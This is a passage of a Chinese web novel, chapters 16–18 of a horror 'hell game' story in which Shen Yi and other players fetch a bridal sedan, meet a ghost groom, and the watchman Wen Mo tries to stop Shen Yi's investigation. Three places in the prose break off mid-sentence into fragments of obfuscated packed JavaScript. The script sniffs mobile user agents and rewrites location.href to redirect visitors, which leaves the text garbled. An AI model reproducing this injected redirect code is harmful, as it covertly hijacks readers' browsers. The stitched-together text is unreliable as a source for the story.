“你还活着啊,”有个黄毛将手伸进胸前衣服里,不怀好意地开口,“跟你一起的那个新人呢?” 温默感觉到了什么。 他松开手,望向那黄毛,眯了眯眼。 沈奕老老实实地直接答:“死了。” “死了?”黄毛问,“怎么死的?” “被守夜人杀了啊。” “难道不是被你杀了?” 黄毛上前了一步。 他从衣服里掏出来个什么东西,正要从胸前内兜里拿出来。 温默眼神一紧。 他正要跳下去,突然听见沈奕笑了声。 温默一顿,见沈奕居然真的眯起眼睛笑了。 “你又想说我是鬼?”沈奕望了眼他伸进内兜里的手,“你有刀啊?” 温默怔然。 黄毛沉默片刻,啧了声,把手伸了出来,那手里的确是有一把蝴蝶刀。 沈奕吹了声口哨:“好帅,蝴蝶刀。” 温默:“……” 他直起弯下去的腰——他刚想跳下去,所以弯下了身。 沈奕脸上笑意浓浓,但眉眼间有几分讳莫如深的高深莫测,他脸上突然就没了刚才那股天真劲儿。 温默忽然发觉,沈奕好像没有他想的那么经不起风吹雨打。 黄毛拿着蝴蝶刀在手上转了两圈,朝他冷笑:“别装,你是个鬼,对吧。” “就算我真是个鬼,你拿这个对付我,也太看不起鬼了吧。”沈奕朝他手上扬扬脑袋,“鬼怎么会被你捅一刀就死啊。” “至少让你现原形。” “让鬼现原形,你不就更麻烦了。” “……” 黄毛突然无言以对。 “喂。” 西装男站了出来,他按了下黄毛的肩膀,“住手吧,他说得对。” 黄毛啧了一声,甩开西装男的手:“烦不烦啊你!你这就被他绕进去了!?他这就是怕被捅才这样说的,你还真上他的当!?” 颜畔出声:“可他说的话的确是对,这里的鬼是不会被刀枪剑什么的捅死的。你不是新人啊,你难道不知道,要想消灭这些鬼鬼神神的,就必须要去找到线索,通过线索指引,才能知道消灭方法?” 黄毛抽了两下嘴角。 西装男附和:“说得没错,我们现在手上的线索还少,不能贸然行动。如果你真的一刀下去,让他现了原形,他有了杀人的能力,我们这关就难了。” “对啊,本来这群村民就抠抠搜搜的不说话。” “而且他看起来没有杀意,估计鬼的记忆被什么线索封印住了,还没苏醒?” “是呀。而且,他如果真是厉鬼,昨天白天就能动手了。”人群中,有个女孩说,“厉鬼动手是没有白天黑天的区分的,什么时候都能杀人。” “嘁。” 黄毛把刀收了起来,一脸没好气,“我知道了!我不动手行了吧?真服了你们了!” 西装男半点儿没有被他激怒,笑着点点头:“嗯,这样最好。” 黄毛再次狠狠抽了抽嘴角。 “好了,大家进屋吧,找刚刚那个村妇。”西装男吆喝着说,“虽然已经过了一晚上了,但我们跟刚开局差不多,手上的信息量太少,赶紧做任务吧。” 众人乌泱泱地走进屋院里。 沈奕站在最后面,看起来是准备最后一个进去。 刚有两个人迈过门槛,走进屋院里,突然,不远处传来一阵稚嫩的孩童笑声。 那笑声清澈,如初夏的河水;那笑声天真,应是不谙世事的孩童。 往屋子里去的所有人都停下了脚步。 进了屋子的人走了出来,还没走进去的人循声望去。 又听铛铛两声,似乎是谁敲响了锣。 沈奕转过头。 小雨淅淅沥沥,天色灰暗,白雾稀薄。雨后草土潮湿,锣声还没散,就见这条路的远处,一个十字岔口的路口,竟有一群身着红衣的人正在大雾之中若隐若现地经过。 那是一行在白雾里十分扎眼的血红。 他们抬着一个婚轿。 两个人在前面开路,后面的人抬着轿子。最后面,是两个敲着锣的人儿。 这一行送嫁的人后头,跟着几个蹦蹦跳跳的矮小身影,是四五个小孩。 锣声时不时响起一两声,遥遥地响在雨雾之中。那一行人行动缓慢僵硬,一顿一顿、一寸一寸地往前行进。 孩童们倒是蹦蹦跳跳的。 遥遥地,传来他们的欢笑声。 “新▆▆来啦,鬼▆▆,鬼新▆,去▆▆啦?” “鬼新▆,▆▆郎——”孩子们唱了起来,“天▆黑,▆▆雨;新▆▆出▆屋头头慌,阿妈▆▆鬼见▆——” “鬼新▆▆,▆▆▆,莫打伞,莫安▆……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152210|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “别再▆▆见▆▆,淹▆▆▆▆……” 离得太远,他们唱的歌谣叫人听不太清。 轿子远去,孩子们的歌唱声也跟着渐渐隐没在雾中。 送嫁的人走过了路口,消失了。 沈奕转头一看,就见一群罪人不知道什么时候居然全都进屋去了,正躲在院门后头偷看那一行送嫁的人。 老太太屋前的路上,就只有他一个人孤零零地站着。 沈奕:“……” 感受到他的目光,罪人们才把目光移了回来。 一群人看了他一眼,转头就走,什么话都没说。 黄毛倒是很大声地对他冷哼一声。 沈奕无可奈何地笑了声,跟了上去。 他最后一个进了院内,关上了铁质的大门。 门吱吱呀呀地合上。 温默轻飘飘地往前一跳,脚尖落地,踮着脚落在了老太太家的院门旁的墙上。再一跳,他落在正屋的房顶上。 温默半蹲在房顶上,往下看去。 罪人们已经进了院子。院子里有个村妇,见到他们来了,村妇寒暄了两句,就把他们往正屋里面领。 村妇停在正屋门前,罪人们也跟着她一同停下。 “你们都知道,咱今天要给昨天那两个横死的做白事,办冥婚。这种事儿,规矩多。”村妇说,“你们得分别进去,各自听老太太嘱咐。昨儿不是给你们分工了吗?被分去干一个活的,你们就一块儿进去,其他的人先在外头等着。” 村妇说,“昨个儿让去破庙那头找轿子的是哪几个?” 西装男和颜畔走了出来,沈奕也跟着从人群后边出来了。 村妇朝他们点点头,指了指屋子里边:“进去吧。” 三个人进去了。 今天也不是什么好天气,外头灰暗,屋子里头也和昨天一样漆黑,只有屋头打着一盏昏黄的吊灯。 老太太依然坐在照不见光的深处。 三个人上前去。 三人刚站定,就听老太太嘴里传出一阵嘎吱嘎吱的磨牙声。 她苍老的声音跟着响起:“出了门,往右拐,一直走,往村西口去。在一个地菩萨的路口停下,再往右拐,然后一直走,一直走……就能看见破庙。” “破庙后头,就是轿子。你们把轿子扛回来,切记,绝不要掀开帘子看,扛起来以后,也绝不要回头……” “为什么不能看?里面是有什么讲究?”西装男问。 老太太不回答。她又嘎吱嘎吱地磨了一会儿牙,复读机似的,话又从头说了起来:“往村西口去,别出村子……” 西装男:“……” 沈奕纳之其邪闷了:“怎么还又从头开始说了?” 颜畔说:“都这样,NPC其实很少你问什么就答什么。只要你问的事没触发关键词,她就不会回答。有的只会重复同一句话,有的就不会说话。” 居然还有这样的事。 沈奕汗颜。 西装男又问了两句话,老太太一句不理,还是只念叨她的台词。 西装男放弃了,他转身说:“看这样子,她是不会多说什么了。我们走吧,去做那个任务。” “是啊。”颜畔回头,“走了,沈奕。” “哦哦。” 三个人出了屋子。 16. 鬼新郎(拾叁) 沈奕跟着颜畔和西装男出了门去。 其余人看了过来,村妇也转过身。 “知道要怎么做了吧?”村妇说,“知道的话,就快点去吧,时间不等人。” “知道啦。” 三个人出门离开了,西装男还笑眯眯地和其他在屋前等着的罪人们挥了挥手,打过了招呼。 温默不在乎其他的人。见沈奕走了,他也跟着跳到外头的屋墙上,跟在后面亦步亦趋。 雨还在下。 三人出门右拐,顺着路一直往前走,完全不知道身后墙上有个看不见的守夜人在尾随。 “沈奕。” 走着走着,西装男突然问,“你身上的衣服哪儿来的?” 沈奕“嗯?”了声,一抬头,对上西装男讳莫如深的笑脸。 他没憋好屁。 沈奕回以一笑,反问:“问这个干什么?” “好奇。”西装男说,“你昨天是穿着短袖进来的,手上也没衣服。虽说带了个包,可后来你那个包漏了个大洞,什么东西都没了。” “唯一幸存的,好像就只有那瓶水。” 西装男的目光落到沈奕一直装在裤兜里的一瓶水上。 沈奕昨天穿了件宽松的裤子,口袋也很大。 “那瓶水昨天被你装在那个包的内兜里,幸免于难了吧。你这人也是奇怪,学生证这种卡片你不放内兜,你把一瓶水放内兜里。”西装男说。 沈奕干笑:“你管我把什么东西放内兜里。我是趁着周末出门玩的啊,又没带什么讲义课本,我把卡随手往包里一扔怎么了,这也管啊?” “我不是那个意思。”西装男笑着,“我只是想,你昨天把整个包一顿翻,里皮都拿出来过,我们都见过你包里的情况。” “所以,我知道,这件衣服并不在你的包里。你一定是昨天夜里,得到的这件衣服。”西装男道,“那沈奕,你这件衣服……” “我自己进别人家屋子里拿出来的。我冷,不行吗?这破地方又不许打伞。”沈奕说,“你怎么那么喜欢研究我?我身上多件衣服,你就跟个柯南似的,这也不对那也不对。” 西装男哈哈的笑:“我随便问问啊,你怎么这么急?” “行了,你俩别演权谋戏了。” 沈奕正要再说,颜畔打断了他。她朝着两人扭扭头,“我们好像找到了,这就是那个地菩萨吧。” 沈奕停下脚步,顺着她的目光往路边一看,就见到一个摆成神龛模样的石头堆。神龛的檐下,有一个手掌那么大的小和尚似的石头像。 经了风吹雨打,神龛也好,里头那个小和尚也好,都已经爬满了青苔和泥土。 小和尚跟前有个破旧的香炉。香炉里积满雨水,看这样子,很久没人来祭拜这个小石菩萨了。 三个人按着老太太说的话,在这里往右拐了。 正下着雨,路面泥泞。几人又走了几分钟,路两边的人家渐渐稀少起来,最后,一片漆黑的废墟出现在视线里。 几人走近。 废墟上,一片漆黑的残垣断壁,俨然是一片被烧毁后的景象。 “这应该就是破庙了。”颜畔说,“昨天老村长不是说了吗,破庙烧了,所以现在变成了这个德行。” “他们没有重建吗……”西装男有些头疼,“这里就一片废墟,我们去哪儿找轿子啊。” 颜畔猜测:“埋在下面了,让我们挖出来?” “真的假的,那么费事吗。” 西装男朝着废墟走了过去。 颜畔跟了上去:“老太太说了在破庙里的,对吧。” 西装男叹了口气,满脸头疼,颇觉为难。 “真没办法。” “快找吧,早找到早回去。” 一股呛味儿忽然扑面而来,仿佛火还在烧似的。 西装男咳嗽了两声,下意识地抬手挥了挥眼前。他忽然感觉到了什么,回头一看,就见沈奕竟然站在老远的地方,一动不动,眉头紧蹙地望着这边。 “沈奕!”西装男喊了一声,“你愣着干什么呢,还不赶紧过来!” 沈奕回过神来,含含糊糊地应了声,却没立刻动。他神色复杂地又望了会儿这一片黑灰,才踌躇犹豫地迈出脚步。 见他这个德行,西装男低声说:“这么大反应,肯定是个地狱原住民。” 颜畔呵呵一笑:“说不准呢。” 温默就近找了棵老树,正站在枝干上头。 他望着沈奕犹犹豫豫地一步步走过去,脸色不太好看。 不会想起什么了吧。 温默想。 沈奕脸色凝重,看起来着实有点像。 温默的脸色越来越不好看了。 * 【奕哥儿!】 【奕哥儿!你疯了是不是!】 【你要气死我这个当妈的!!】 【我管不了你了,你非要跟我对着干!?】 火焰熊熊。 沈奕扶了扶脑袋。这破庙明明早就烧成废墟了,他也视野清明,看得清清楚楚,这就是一片废墟。 可耳边还是有大火在烧的声音。连房梁被烧得断裂,屋顶的碎石瓦块掉下来的声音都一并响着。 拔舌地狱里的冷雨也一直在下,下得一直很冷,可沈奕突然浑身都滚烫起来,烫得身上一阵阵被火灼了似的疼。 他走到废墟前,脱下了衣服,搓了搓身上。 身上还是阵阵火烧似的痛。 耳边,女人的声音撕心裂肺,一直在喊,喊得沈奕也跟着心脏一阵突突,难受得打紧。 沈奕记得这声音,他在梦里听过,这是他梦里的那个“妈”。 【你怎么回事啊你,啊!?奕哥儿,你从小到大那么懂事那么听话,怎么现在跟个疯子似的!】 【你非这样是吧……你非这样是吧!】她喊,然后碰地接连摔碎了几个碗和盘子,朝他怒不可遏地大吼,【我看他们说对了!你这混蛋就是中邪了!!】 【驱邪!】她说,【我现在就去找王神婆,要给你驱邪!!】 【我——】 突然一只手伸到跟前,在沈奕眼皮子底下没十公分的位置,啪地打了个响指。 沈奕吓得一哆嗦。 他抬起头,西装男站在他跟前,也是他伸手打的响指。 “回神了,鬼哥。”西装男收回手,“都叫你好几声了,你怎么一点儿反应都没有。想什么呢?” 女人的声音在耳边骤然消失,火烧声也一并没了。 沈奕回过神,松开手,胳膊上那仿佛要被生生烧下去一块肉似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152211|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧痛也没了。 他抬头,朝西装男笑了下:“发了下呆。” “别发呆了,还要找婚轿。”颜畔站在废墟里面,手叉着腰说,“早点找到,早点回去。把这东西交了,也不知道还有没有下一个任务。” “如果没有任务,我们正好就去查查,查当年那个跳河自杀的到底是这村子里的谁。” “也是,这事儿跟‘鬼新郎’关系好像很大。”西装男转头,“你还不清楚吧,沈奕,播报里的童谣不是随便唱的,那是通过这关游戏最重要的线索。我们得去找清楚,那个童谣里的鬼新郎到底是谁,再看他到底有什么‘罪恶’。” 沈奕才想起来,游戏的通关规则是终结地狱里的罪恶。 他揉了揉脑袋,点了头:“行。” “找婚轿,”西装男说,“走。” 那三人便走进废墟,来回翻找了一会儿。 但很快,西装男就发现事情没这么简单。 “不对,底下的东西都脆了。” 他踢开一道木头,见下面还有个长条木头。 手上刚一使劲儿,那玩意儿立马咔吧一声,在他手上碎了。 西装男啧了声,直起身:“不可能在下面,这下面都是脆脆鲨啊。” “看起来是这样。”颜畔纳闷,“那婚轿到底在哪儿?这地方应该就是‘破庙’啊。” “总不能这村子里,有两个庙吧?” “怎么可能……” 沈奕伸手进废墟底下,抓住了个什么东西。他用力一拽,就听底下咔吧一声。 他也把东西拉断了。 底下的东西是真的脆。 沈奕唉声叹气,摸索了下,抓住被他拉断的上半截,把它拿了上来。 一只被烧得五指扭曲、挣扎得弯折的断手臂,被他拿出来了。 沈奕:“……” 他沉默了。 他抓着这只手的小臂。 手也被烧黑了,还烧得皮包骨头没二两肉,简直和温默的猎杀场里的那些阴森的鬼手没差。 手腕上有一圈什么东西。 沈奕被吸引去了目光。他伸手,摸了下那圈东西——是一圈手绳。 他捏着手绳搓了搓。 上头的黑灰掉了下来,露出里头鲜红的颜色。 这区区红绳居然没被烧掉! 太不科学了。 沈奕蹲下来,把断手放到地上,将这圈红绳解了下来。 他把上头的黑灰搓掉。 红绳露出了真面目。 这就是一圈很素的红绳,没有任何装饰,只是几条红绳编在一起而成的一圈手绳。 沈奕莫名觉得这手绳有点眼熟。 在哪儿见过——也不奇怪,这种朴素手绳,到处都有卖的。 身后突然投下一大片阴影。 没有任何预兆,来人并非一点点接近的。就仿佛骤然出现一般,一瞬间就站在了沈奕身后。 不巧,沈奕打量红绳打量得入神,完全没注意到不对。 他以为是西装男过来了,自言自语着:“来得正好,你看,我……” 他边说边回头。 回过头的一瞬,他立马喉咙里一哑。 穿着一身红嫁衣的鬼新郎,手打着伞,站在他身后。 17.鬼新郎(拾肆) 雨声轰然。 雨珠一滴一滴打在沈奕脸上,顺着他的脸颊往下流淌。 沈奕手上捏着那圈红绳,张着嘴,半蹲在地上,不敢说话。 鬼新郎跟他寸厘之遥,就站在他身后。 他一身红嫁衣,明明是新郎官的打扮,却盖了个红盖头。 风突然吹来,吹动沈奕这一脑袋湿毛,也吹动了鬼新郎的红盖头。 红盖头微摇。摇动间,沈奕看见了些许他红盖头下的脸。 沈奕一怔。 鬼新郎有一双和温默一模一样的鲜红眼睛,和一头白如冬雪的碎发。 沈奕闻到他身上有股奇异的香味儿。 鬼新郎忽然抬起手。 他将手里的伞伸向前,向他倾斜。 头顶的大雨被那红伞挡住,变作阵阵闷响,噼里啪啦地顺着伞沿淌落下来。 沈奕怔怔地望着他,艰难地从干涩的喉咙里挤出二字:“阿默?” 鬼新郎歪了歪脑袋。 他没有回答,四周突然白雾蔓延。洁白的雾气笼罩了废墟,鬼新郎的身影变得缥缈。 他逐渐消失在白雾之中,身体变得透明。沈奕心中一慌,再次喊了他一声“阿默”,下意识地伸手一抓,却抓了个空。 鬼新郎消失了。 扑通一声,红伞掉落在沈奕的脑袋上。 “我曹!” 他痛呼一声捂住脑袋——伞从那么高的地方掉下来砸到头上,居然可以这么痛。 伞咕噜噜地滚开了。沈奕揉了揉脑袋,再抬头,白雾就在这须臾之间又渐渐散开而去。 红伞滚落在不远处。 西装男瞪大眼睛眉头紧皱,愕然地望着他。 沈奕揉着脑袋,对上他错愕震惊的脸,心说至于吗,不就是个鬼新郎。 “你什么眼神啊,”他说,“没见过鬼吗?” 颜畔指了指他身后:“跟鬼不鬼的没关系,你、身、后。” 她语气淡定,但最后三个字刻意一字一顿,强调的意思显而易见。 沈奕捂着后脑勺回头。 一个红木花轿寂静无声地、歪歪斜斜的,安置在他身后。 轿子不大不小,看起来无人问津了很久。红木的花轿已然落满了灰,正被雨水刷落着尘土。有一巨大的、鲜艳的、红色的“囍”印在正面帘子上。 帘子四角都被囍字占得满满当当,又很快被雨水打湿。 沈奕站了起来。他对着轿子无言片刻,低下头,张开手掌,一圈红绳安安静静地躺在他手心里。 跟这个有关系吗。 一找到这个,鬼新郎就出现了,然后婚轿也出现了……很难不怀疑中间有什么联系。 身后响起脚步声,沈奕回头,是西装男和颜畔走了过来。 沈奕放下握着红绳的右手,顺手就把红绳塞进了裤兜里。 这没能瞒过对面两个老手的眼睛。两人同时往下一瞥,看向他藏起东西的手。 “找到什么了?”西装男朝他一笑,“拿出来我看看。” 沈奕一脸无辜:“没有什么啊。” “你少跟我装傻,有东西突然出现,肯定是有玩家找到了什么东西,触发了‘开关’。”西装男说,“这个游戏啊,就跟恐怖rpg没什么区别。玩家完成任务推动游戏的后续剧情,任务过程中也能找到线索,在地图里四处探索调查,同样能找到线索。” “线索能作为破解剧情通关游戏的提示,也能通过找到了线索,而触发接下来的剧情。” “很明显,刚刚是剧情被触发了。我跟这位美女都没找到什么东西,那就只有你了。”西装男说,“拿出来吧,沈奕。” 沈奕望向他的眼睛。 西装男一双笑眼弯弯,但并不是个纯粹的笑容。那里头有盘算有算计,真是显而易见的精明。 沈奕歪了歪脑袋:“我们这些罪人要遵守的游戏规则,都有什么来着?” 西装男失笑:“转移话题?” “不,我是真的不记得了。”沈奕说,“都有什么来着?” 西装男笑着张嘴想说什么,刚出了个气音儿,身后颜畔就出声打断了他。 颜畔说:“没有什么特别的。硬说的话,不需要吃饭,不需要睡觉,夜晚有屠夫猎杀,注意躲避。一旦被屠夫猎杀或者被鬼怪杀了,就会永远留在这里。其他的话,就是好好做任务,终结游戏里存在的罪恶,找到引路人,就可以出关。实在通不了关,就去杀了守夜人,但这记录还没有人类做到过。” “谢谢。”沈奕点头朝她致谢,又朝着西装男摊摊手,“你看,哪儿有说我一定要把所有找到的东西充公的?” 西装男笑着:“谁让你充公了,我们不是队友吗。你找到了什么……” “谁说我是鬼来着?” “……” 西装男脸上的笑容有所僵硬。 颜畔噗嗤笑出了声来。 “可以了,先把婚轿抬回去吧。”颜畔说,“我们死了一个人,这婚轿抬得要费力些了。” “也对,先把它弄回去。”西装男说,“但就我们两个抬吧。” “为什么?” 西装男鄙夷地睨了沈奕一眼:“这可能是个鬼啊,而且他不知道刚刚找到了什么,连给我们看都不愿意,很难不怀疑他是憋了什么坏水。安全起见,就让他走在前面,我们两个负责抬。” “两个人也太吃力了吧……” “吃力总比没命好吧?” 颜畔无言以对。她耸了耸肩,妥协了。 沈奕就这么被排除在外了。温默站在树上,看着他们又商量几句之后,就去一前一后地抬起了婚轿。 沈奕去把地上那把红色的油纸伞捡了起来。他拿在手上,把伞上上下下打量了下,没看出什么问题,就把伞收好,带走了。 西装男抬起了婚轿前头,颜畔去后头抬。沈奕被他俩催着走在前面,于是他把温默给的外头往头上一罩,抱着伞往前走了。 温默揉了揉脑袋,心中暗道不好,昨晚上忘记告诉江奕,其实打伞是没事的了。 三个人出了废墟,向着老太太屋头里走去。 沈奕没负担,在前面走得轻轻松松。 身后两个人的速度却越来越慢。 西装男已经满头大汗。 他抹了把脑门上的汗——有一半都是冷汗。 事情不太对,他想。 刚开始,扛这个轿子其实并不吃力。 花轿前,两个抬起轿子的把手的最前端,有个横向的杆子相连。 虽说两个人抬一个轿子很吃力,但西装男只要把最前面的杆子单个儿扛起来就好,倒没有很吃力。而且一抓起来,他就发现这玩意儿居然轻飘飘的没什么重量,就好像一个纸片。 西装男也是过了三关的人了,这等异象,让他心中立刻咯噔一声,疑虑立即升起。可他很快又想,这村子本就不对劲,扛都扛起来了,也没法再放下,老太太可是说了,不能回头的。 回头一定会死。 只能等回到那家里再说。 老太太屋院里又都是活人,现在又是大白天。刚刚鬼新郎也出现了,他没有加害任何人,扛着婚轿回去,应该没事。 轿子很轻,他便扛着走了一段路。 可事情变得不对了。 轿子越来越重了。 每走一步,它就重一分。路才走了一半,轿子就已经重得像里头坐了足足三四个人。 西装男扛着轿子的肩膀生疼,仿佛骨头都要压断了。他弓着腰,弯着上半身,整个人佝偻如要趴到地上,几乎要被轿子生生压断。 雨又下大了,他都看不清眼前。他胡乱地抹了两把眼前,气喘吁吁地继续往前走。 实在是太重了,西装男都岔气了,两腿跟灌铅了似的哆嗦起来。 身后突然传来一阵银铃般的笑声。 西装男浑身一僵,顿时一动不敢动。 他停在了原地。 笑声还在持续,西装男突然分辨出来,那是身后、这个婚轿里传出的笑声。 西装男顿时呼吸一滞。 “呼。” 一口凉气森冷地吹在后脖颈上,西装男猛地一抖。还没等他反应过来,一只冰凉的手又从上而下,摸住了他的脸庞。 这手如同一块冰似的,冷得他脸痛。西装男不敢动弹,颤颤巍巍地动了动瞳孔。他低下眼眸,就见这只手惨白得毫无血色,血红色的指甲又长又尖。 “我重吗?” 耳畔传来诡异的声音。 西装男突然发觉,声音不是从轿子里传来的。 是从他的身上。 几乎要把他压倒的重量,也并不来自于他扛着的轿子。 是来自他的背上。 他颤颤巍巍地低下眼眸,看见一双腿从他的肩上垂下,一袭嫁衣的红裙在他身上摇曳。 一双手捧住他的脸,笑声仍然欢声不断。 “我重吗?我重吗?” 西装男冷汗涔涔。他张开嘴,还没来得及回答,冰凉的鬼手捂住了他的嘴巴。 西装男瞳孔猛地一缩。 第三只鬼手从上头伸了下来,捂住了他恐惧得发红、流了眼泪的双眼。 大雨滂沱。 * 一声好像骨头被掰断的声音,在大雨里清晰地响起。 “?” 走在最前面的沈奕动作一顿。 他下意识刚想回头,猛地想起那个发布任务的老太太说的话,连忙刹车。 他目视前方,高声问道:“出什么事儿了吗?” “没有啊。”西装男说,“你赶紧走吧,你停下来,我们都没法走了。” 他说话的语气有些不对。 沈奕刚想追问两句,颜畔又在后头补充:“怎么停下啦?快点走吧,雨好大,这东西也好重。” 一听这话,沈奕也不好再停下深究,只好转头继续往前走。可刚迈出一步,他就听到啪嗒一声响。 沈奕又一顿。他转头,见到路旁是那个石头堆成的神龛。 不知怎的,那个石头做的小菩萨像跑到了神龛外面,在路上面朝大地倒下了,脑袋处居然全都碎了,只有身子还完整。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159742|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 石头菩萨像个无头尸似的,倒在了路前。 * 仨人把婚轿抬回到了老太太屋院前。 一个村妇从院子里跑出来迎接。见到他们把轿子搬了回来,她就招呼着他们放到门前。 毕竟院门太小了。这么一个轿子,进不来的。 等轿子在门前放下,颜畔松了口气,从轿子后面走了出来。 她揉着自己的肩头,走上前说:“累死了,这轿子真是够沉的。” “可以回头了么?” 颜畔已经走到了他身边。她抬手,狠狠给沈奕后背上拍了一掌:“可以了!” 沈奕被拍得一哆嗦。 他捂住自己的后肩,嘶了声:“别这么用力啊!” 颜畔哼哼笑了两声,走进老太太的院子里:“走了,进去交差。” “哦。” 西装男也走了过来。沈奕抬头一看,他还是笑眯眯的一张脸。 沈奕看过来,西装男就朝他笑着点点头,什么也没说,跟他擦肩而过,径直走了进去。 沈奕望着他远去的身影,眨巴了两下眼睛。 西装男看起来没什么不对,可沈奕莫名觉得他哪儿哪儿都不太对。 他站在原地,若有所思地凝视了会儿西装男的背影——脑袋上还罩着温默的衣服。 颜畔在屋里头探出脑袋来。 “发什么呆呢!”她朝他喊,“进来交任务了!” 沈奕被一嗓子喊了个如梦初醒。他忙应了两声,跑进屋子里头。 屋子里依然昏暗。 沈奕把温默的衣服从头上摘下来,甩了两下。 甩了一片水。 老太太还坐在看不见的地方,颜畔走上去,说:“老太太,婚轿我们找回来了。” “好……”老太太沙哑道,“好,好……辛苦你们了。” “其他人还没回来……那些都要费一些时间。你们,先等一等吧,在村子里随便逛逛。” “傍晚的时候,记得回来。” 外头的雨不见停。 天上也不见放晴。 三人走出了院子。沈奕把温默的衣服拧干,又扬手一旋,罩到了自己的脑袋上,当做伞。 “说可以去村子里随便逛逛,”颜畔说,“那就是可以‘查案’了,一起走吗?” 她没和沈奕说话,是在看着西装男说话。 西装男笑着朝她摆摆手:“不了,我要自己查。” 他说完就离开了,手插着兜走入雨里。 “这么不合群。”颜畔看了眼沈奕,“那我也自己去查了,你多加小心。” 想也知道她不会愿意和自己这么一个“鬼”一起查,沈奕便点了头,很是接受良好:“OK。” 颜畔也走了。 两个人都没影了,沈奕没急着走。他张大嘴打了个哈欠,又很用力地伸了个懒腰,发出一阵人类返祖似的声儿后,才放下双臂,“呃”了一声,砸吧了两下嘴。 他现在不能理解的事儿还是很多。 但最重要的是,得先搞明白这个村子到底什么情况。 沈奕盖着衣服,往前一蹦,跳进雨里,嘴里“咚”了一声,给自己配了个音,然后朝着村东头小跑去了。 * 杨庄子的村东头,有个大下坡。 下坡底下是片田地,下坡上头是户人家。 风雨中,这户人家的半扇铁门正半开着,随着风吹而吱吱呀呀地来回摇摆。 沈奕仰着头,望着这梦里也见过的一户人家,一时说不清心里什么滋味儿——梦里,这是他家。 这是老江家。 真是肉眼可见的荒凉。 和温默家一样,一看就已经很久没人居住。铁门锈得面目全非,院里更是传出一股不知是什么的臭味儿。 沈奕皱紧眉,捂着鼻子,推开吱吱呀呀的半扇门,走进了屋子里。 院子里杂草丛生,水泊一滩接着一滩。前院的树已经枯死,垃圾满院儿都是。 树底下的那把躺椅还在,上头有一具腐烂的尸体。祂已经被水泡发了,整个身体肿胀惨白得不像样。 沈奕分辨不出那是谁。 但祂应该是恶臭的来源。沈奕走上前去,正要好好看看那是谁时,突然,一个东西从天而降,咚地砸到他面前。 “呜哇!” 沈奕吓得往后一哆嗦,手松开了。这一松开,他就“呕”了一声,差点儿被院里的这股臭味儿熏吐。 他又捂住鼻子。 然后,温默在他面前站了起来。 沈奕一怔。他看着温默愣了两秒,才反应过来,刚刚那个他没看清的、从天而降的东西,就是温默。 温默脸色很不好看,眉头深皱,有些苦大仇深地望着他。 就仿佛是在怨他什么。 沈奕惘然,他不太明白温默是怨他什么。 他好像什么都没干。 思索间,温默无声地叹了口气,跟他比划起来。 【不许查了。】温默比划,【我现在就把你们所有人都送出去,你不许查了。】 18.鬼新郎(拾伍) 沈奕不能查了。 他不能再查了。 温默是这拔舌地狱的守夜人,也是守门人。他已经守门了数十载,这个游戏的前因后果或细枝末节,所有的一切,事无巨细,他全都一清二楚。 所以他也很清楚——只是看到废墟就有那样反应的沈奕,只要深入查一点,他就绝对会立刻想起更多的事情。 他已经不能呆在这里了。 沈奕很茫然地望着他,他显然不明白温默用意为何。 沈奕问他:“为什么?” 温默又比划起来:【你会想起来的。】 “想起什么?” 【之前的事。】 “我又不怕。” 温默的外套要从他头上掉下来了,沈奕伸出两手,把它拽了回去,“所以你的意思是,这个地狱,这一整个游戏,的的确确是基于你跟我之间的事做出来的?” 他问问题真是直接,温默眼色一凝,不做回答。 “还真是。”沈奕说。 “……”温默无语地比划两下,【我没承认。】 “你这反应就已经承认了。”沈奕说,“要是不是,你早就大大方方地跟我比划不是了。” 温默无话可说。 明明只记得一丁点,怎么这人还是这么了解他。 他垂头叹气——温默这真是不知道在这几个小时里叹的第多少次气了,沈奕的事总是让他很头疼。 温默真是心累得不行。 【总而言之,我会把你,送出去。】他比划着,【你查下去,查出来了,查明白了,对你也没什么好处。】 “为什么没好处?” 温默真是要气笑了:【有什么好处?】 “我可以知道出什么事了呀,”沈奕扭头看看自己这“家”里,“可以知道这到底怎么回事。” 【所以,对你有什么好处?】温默比划的速度都气得快了很多,【又跟你没有关系,就是一些早就结束了的陈芝麻烂谷子的前尘旧事。你早都死了,已经轮回转生了,现在你是一轮新生!知道这些干什么?你想做一辈子的噩梦吗?】 沈奕面色无措。 最后一句无声地落在空中时,沈奕露出了这般很受伤的神情。他好像不知道该说什么了,欲言又止了几次都没发出什么声音,眼睛忽闪忽闪了几下,有点委屈巴巴地看着他。 像个突然被家长骂了的、不知所措的小孩。 他这幅样子,温默心中忽然有些过意不去,突然就愧疚了起来。 温默暗暗抽了抽嘴角,别开脸,闭上眼,深吸了一口气。 “好歹有梦可以做。”沈奕突然又说。 温默好不容易下去了的怒火腾地一下又烧起来了。 